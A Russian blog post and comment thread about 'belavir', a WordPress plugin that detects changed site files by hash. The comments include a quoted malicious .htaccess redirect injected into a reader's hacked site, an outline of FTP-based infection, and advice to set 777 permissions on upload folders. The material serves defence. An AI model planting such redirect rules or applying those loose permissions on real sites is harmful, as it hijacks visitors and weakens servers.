Update плагина belavir
По просьбам трудящихся в плагин belavir внесено небольшое, но существенное изменение. Теперь священное право нажать на кнопочку «Сбросить/обновить хэш файлов» имеет только юзер, обладающий правами на редактирование шаблона. Остальные будут только видеть сообщение о наличии или отсутствии изменений.
Скачать плагин.
По многочисленным просьбам возвращаю плагин народу 🙂
Для тех, кто не знает, о чем речь, вкратце поясню. Этот плагин считает хеши (контрольные суммы, если так понятней) php-файлов блога и сравнивает с сохраненными значениями. В случае несовпадения выводит на дашборде (панели приборов) список измененных файлов.
UPD Умные люди сделали замечание, что так как директория /wp-content/uploads/, в которой плагин хранит файл хешей, видна всем, то злоумышленник легко может утащить этот файл и узнать какие плагины у вас стоят (абсолютно ничего страшного в этом нет, т.к. злоумышленники легко выпасают дырки путем перебора известных уязвимых плагинов; да и очень многие плагины и так заявляют о себе во весь голос, достаточно посмотреть html сгенерированной страницы), а потому нужно перед использованием плагина вымыть руки поменять имя файла или директорию хранения.
Я же советую сделать по-другому — разрешить посетителям забирать из uploads только файлы разрешенных типов, создав в директории uploads файл .htaccess наподобие такого:
<FilesMatch "\.(gif|jpg|png)$">
Allow from all
</FilesMatch>
Deny from all
Кроме скрытия вышеупомянутого файла, вы получите некоторую защиту от одного из стандартных методов взлома, когда под видом картинки на сайт загружается скрипт.
UPD2 В текущей версии файл хешей именуется .htbelavir. Если на хостинге файлы с такими именами доступны для просмотра по http, то никакие маневры не помогут защитить сайт.
UPD3 Немного причёсан вывод под дизайн админок новых версий WP. Версия плагина поднята с 1.3 сразу до 3.2 — пример Гугля и Мозиллы заразителен 🙂
UPD4 Версия 3.4. Добавлен вывод даты/времени модификации пойманных файлов. Спасибо, tuder!
UPD5 Версия 3.4.1. Добавлена проверка фалов *.js и .htaccess (спасибо, MAzZY!), а также директория wp-content (нерекурсивно).
UPD6 Версия 3.4.2. Добавлена индикация «новообразований». Включен «тяжелый» режим — проверка по всем директориям (если на третьем пне не сильно тормозит, то на хостингах с i7 и Зионами и подавно бегать должен). При желании можно вернуть старый список директорий у функции dir_md5.
UPD7 Версия 3.4.4. Невесть откуда и зачем взявшаяся проверка if current_user_can(‘edit_themes‘) заменена на current_user_can(‘administrator‘).
спасибо за обновления плагина!
Подскажите, почему на некоторых сайтах плагин отслеживает изменения в .htaccess, а на некоторых нет, не отследил как раз там, куда в .htaccess прописался вредоносный код.
Проверка *.js и .htaccess добавлена в версии 3.4.1. Более ранние версии не проверяли такие файлы.
Также возможно, что настройки хостинга не позволяют читать список файлов из корня сайта (сами файлы, разумеется, читаются).
И напоследок самое неприятное: плагин публичный с открытым кодом, то есть, ни для кого не секрет, как плагин работает, следовательно злоумышленник имеет возможность немого «подкрутить» плагин, чтобы тот «не замечал» действий злоумышленника.
Спасибо за отличный плагин, пользуюсь давно. НО после переезда на выделенный сервер сбились права для всех файлов сайта. И, возможно, из-за этого не могу Сбросить/обновить хэш файлов — жму на кнопку и ничего не происходит. Подскажите, каким файлам каких прав не хватает?
Посмотрите в коде плагина имя файла (скорее всего, это /wp-content/uploads/.htbelavir) и поставьте на него права 666. Если перестали работать еще и загрузки аттачей, то ставьте права 777 на директорию /wp-content/uploads/ и глубже, т.е. на те директории, куда движок может писать файлы.
Небольшая доработка проверки на существование файла. Без неё выпадает ошибка на некоторых хостах
Вот такой код получается
if ($md != $md5_) {
if ($i == 1) echo «нарушена. Изменены файлы:»;
if(file_exists($ff))
{
$tmff = date(«d.m.Y H:i:s», filemtime($ff) + (get_option( ‘gmt_offset’ ) * 3600 ));
if ( (time() — filemtime($ff) ) < 604800 ) {
$tmff = ««.$tmff.»»;
}
}
else
{
$tmff = » удалён«;
}
$ff = str_replace(ABSPATH, ‘/’, $ff);
echo «$i. $ff @ $tmff»;
$i++;
}
Всё, разобрался. На конце нужен закрывающий слэш. Теперь работает
Интернет — Великая Сила! Порой достаточно просто написать желание 😀
Я не пойму как это работает.
Вот такая запись стоит в файле
xdir(ABSPATH, 0);
xdir(ABSPATH . ‘wp-includes’, 1);
xdir(ABSPATH . ‘wp-admin’, 1);
xdir(ABSPATH . ‘wp-content’, 1);
При этом сохраняются хэши только файлов из корня. Что-то здесь не так
Может быть. Не знаю, извините, сейчас, чесслово, не до того. Позже посмотрю.
Добрый день
Что-то у меня возникла проблема с исключением из хэширования отдельной директории. Для пробы я просто переставляю на light режим, но в файле с хэшами оказываются только файлы из корня, а вложенные папки пропущены.
Вообще, в принципе, мне нужно исключить папку forum, которая находится в корне
MAzZY, похоже придется перечислять поименно все директории, кроме forum. У корневой в вызове должен быть 0 — т.е. не рекурсивно.
> зловреды уже научились
Наверное, в 98% заражение идёт по схеме:
украден пароль ftp
слит в базу паролей
бот1 по фтп сканирует папки, скачивает index.*, добавляет код, заливает обратно.
бот2 по фтп сканирует папки на *.js добавляет код, заливает обратно.
Если вовремя не спохватится, то сайты могут быть дважды и трижды заражены одним и тем же.
Но по фтп, насколько я понимаю, изменить дату изменения файла — не возможно. Поэтому в большинстве случаев сработает.
Кстати, в случае изменения index.* или *.js можно высылать список изменений на емайл администратора.
В остальных случаях изменения обычно происходят в результате корректировки шаблона или других файлов движка.
Кстати, обнаружил, что и самой функцией php иногда не определяется время изменения файла:
Warning: filemtime() [function.filemtime]: stat failed for /home/site/public_html/wp-admin/index-extra.php in /home/site/public_html/wp-content/plugins/belavir/belavir.php on line 45
Так что надо экранировать @filetime
По этой схеме несколько лет назад работало. Сейчас всё гораздо разнообразнее. Увы.
Спасибо.
И еще вопрос: почему плагина нет в базе на http://wordpress.org/extend/plugins/ ?
Потому что мне облом заморачиваться с соблюдением требований.
Наши люди и так найдут, а ихние — it’s not my f***ing problem 😀
Добрый день
Скажите, а есть какая-то возможность отслеживать появление новых файлов? Потому что если как-то вливают шелл, то его не будет никак видно.
Да была куча разных версий этого скрипта, в т.ч. и с остлеживанием появления новых, и с ичезновением старых. Каждая дополнительная фича — это лишнее время выполнения, а оно на хостингах ограничено (видел даже 1 секунду). Поэтому в скрипте и оставлен только минимум. Сегодня уже не 2008 год (год написания плагина), но все равно тормозных серверов еще много в ходу.
С другой стороны, если хакеры таки зальют шелл, то им не составит труда быстренько научить этот (или аналогичный плагин) всегда отвечать «всё в порядке, хозяин«. Так что поверять лучше чем-то, находящимся «вне сайта», например, этим или специальной серверной приблудой.
Но тем не менее, я обещаю по свободе прикрутить к плагину проверку на «новообразования».
Я внёс в плагин такие изменения, считаю, что это очень важно отслеживать
if (is_file($file) && strstr($file, ‘.php’ ) || strstr($file, ‘.js’) || strstr($file, ‘.htaccess’))
Забыл написать, что в данном случае я поставил срок выделения даты изменения в 5 суток. Этот срок каждый может подправить у себя в плагине, не заморачиваясь с организацией настроек плагина через интерфейс.
Предлагаю внести косметическое, но весьма полезное изменение в выводе сообщения:
Вывод даты изменённого файла.
if ($md != $md5[$ff]) {
$tmff = date(«d.m.Y H:i:s», filemtime($ff));
if ((mktime()-filemtime($ff))<60*60*24*5) {
$tmff = ««.$tmff.»«;
}
$ff = str_replace(ABSPATH, ‘/’, $ff);
$ff = str_replace(‘//’, ‘/’, $ff);
echo «$i. $ff — изменен «.$tmff;
$i++;
В этом случае видно, что какие-то файлы изменились давно, например, в результате обновления движка или плагинов, после чего не был сброшен кэш, а какие-то совсем недавно, в результате заражения/взлома сайта.
Так заимев заражённый сайт, я вместо того, чтобы по фтп просматривать все подкаталоги, внёс это изменение в плагин и увидел, что заражён/изменён накануне был единственный файл, index.php в корне сайта. Его оперативно и вычистил.
Согласен. Только стоит иметь в виду, что зловреды уже научились менять (восстанавливать) дату модификации зараженного файла.
Вопрос следующего порядка.
Как сделать что-бы проверялся файл .htaccess на изменение.
У меня сегодня был таким образом взломан сайт.
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*yandex.* [NC,OR]
RewriteCond %{HTTP_REFERER} ^.*google.* [NC]
RewriteRule ^(.*)$ http://security.dns-dns.com/?RETURN=%{HTTP_HOST}%{REQUEST_URI}&ID=36 [QSA,L]
Подписали в начало файла.
Хостер валит всё на дыры WP.
Вот и подумал, было бы хорошо что-бы твой плагин имел бы возможность проверять файлы по выбору. Список файлов прикрутить или ещё как. Ну и в случае изменения сразу на почту слал сообщение.
За выборку файлов отвечает строка
if (is_file($file) && strstr($file, '.php'))
Можно вписать своё условие. Главное — не перестараться, потому что чем больше файлов проверяется, тем дольше работает скрипт, что на некоторых хостингах может оказаться большой проблемой.
та да согласен)). шутка это была. А твой плагин на хакзоне давно юзаю, мне вполне нравиться.